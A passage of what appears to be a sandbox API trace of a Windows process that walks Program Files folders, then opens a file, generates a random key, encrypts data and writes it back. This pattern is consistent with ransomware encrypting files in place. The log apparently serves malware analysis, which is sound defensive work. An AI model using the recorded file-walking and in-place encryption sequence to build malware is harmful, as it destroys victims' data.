nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0167.409] FindClose (in: hFindFile=0x2f18248 | out: hFindFile=0x2f18248) returned 1 [0167.410] GetProcessHeap () returned 0x2ef0000 [0167.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0167.410] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 0 [0167.410] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0167.410] GetProcessHeap () returned 0x2ef0000 [0167.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16758 | out: hHeap=0x2ef0000) returned 1 [0167.410] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe3a40f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3a40f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0167.410] GetProcessHeap () returned 0x2ef0000 [0167.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x32) returned 0x2f181c8 [0167.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe3a40f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3a40f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f18248 [0167.410] GetProcessHeap () returned 0x2ef0000 [0167.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f181c8 | out: hHeap=0x2ef0000) returned 1 [0167.410] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe3a40f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3a40f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0167.410] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcfe1840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcfe1840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0167.410] GetProcessHeap () returned 0x2ef0000 [0167.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x234) returned 0x2f16758 [0167.411] GetProcessHeap () returned 0x2ef0000 [0167.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4c) returned 0x2f15340 [0167.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcfe1840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcfe1840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0167.411] GetProcessHeap () returned 0x2ef0000 [0167.411] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0167.411] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdcfe1840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcfe1840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.411] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0167.411] GetProcessHeap () returned 0x2ef0000 [0167.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x24e) returned 0x2f16998 [0167.411] GetProcessHeap () returned 0x2ef0000 [0167.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x5e) returned 0x2f123a0 [0167.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0167.412] GetProcessHeap () returned 0x2ef0000 [0167.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0167.412] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.412] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0167.412] GetProcessHeap () returned 0x2ef0000 [0167.412] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x260) returned 0x2f16bf0 [0167.412] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0167.412] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0167.412] GetProcessHeap () returned 0x2ef0000 [0167.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bf0 | out: hHeap=0x2ef0000) returned 1 [0167.413] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed3a10, ftCreationTime.dwHighDateTime=0x1d5d0e6, ftLastAccessTime.dwLowDateTime=0xe0b88420, ftLastAccessTime.dwHighDateTime=0x1d56d14, ftLastWriteTime.dwLowDateTime=0xe0b88420, ftLastWriteTime.dwHighDateTime=0x1d56d14, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="earnings_roll.exe", cAlternateFileName="EARNIN~1.EXE")) returned 1 [0167.413] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0167.413] GetProcessHeap () returned 0x2ef0000 [0167.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x6e) returned 0x2f123a0 [0167.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0167.413] GetProcessHeap () returned 0x2ef0000 [0167.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0167.413] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.413] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW", cAlternateFileName="")) returned 1 [0167.413] GetProcessHeap () returned 0x2ef0000 [0167.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x270) returned 0x2f16bf0 [0167.413] GetProcessHeap () returned 0x2ef0000 [0167.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x74) returned 0x2f09d00 [0167.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0167.415] GetProcessHeap () returned 0x2ef0000 [0167.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0167.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0167.415] GetProcessHeap () returned 0x2ef0000 [0167.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x276) returned 0x2f16e68 [0167.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0167.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0167.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0167.415] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0167.415] GetProcessHeap () returned 0x2ef0000 [0167.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0167.416] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0167.416] GetProcessHeap () returned 0x2ef0000 [0167.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0167.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0167.417] GetProcessHeap () returned 0x2ef0000 [0167.417] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0167.417] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.417] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0167.417] GetProcessHeap () returned 0x2ef0000 [0167.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f16e68 [0167.417] GetProcessHeap () returned 0x2ef0000 [0167.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f170f8 [0167.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0167.419] GetProcessHeap () returned 0x2ef0000 [0167.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0167.419] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.419] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0167.419] GetProcessHeap () returned 0x2ef0000 [0167.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f3f280 [0167.419] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0167.419] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0167.419] GetProcessHeap () returned 0x2ef0000 [0167.420] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3f280 | out: hHeap=0x2ef0000) returned 1 [0167.420] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0167.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.421] GetProcessHeap () returned 0x2ef0000 [0167.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.421] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.421] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0167.423] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.423] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.423] GetProcessHeap () returned 0x2ef0000 [0167.423] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.423] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.424] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.424] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.424] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.424] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.424] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.424] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.424] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.424] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, 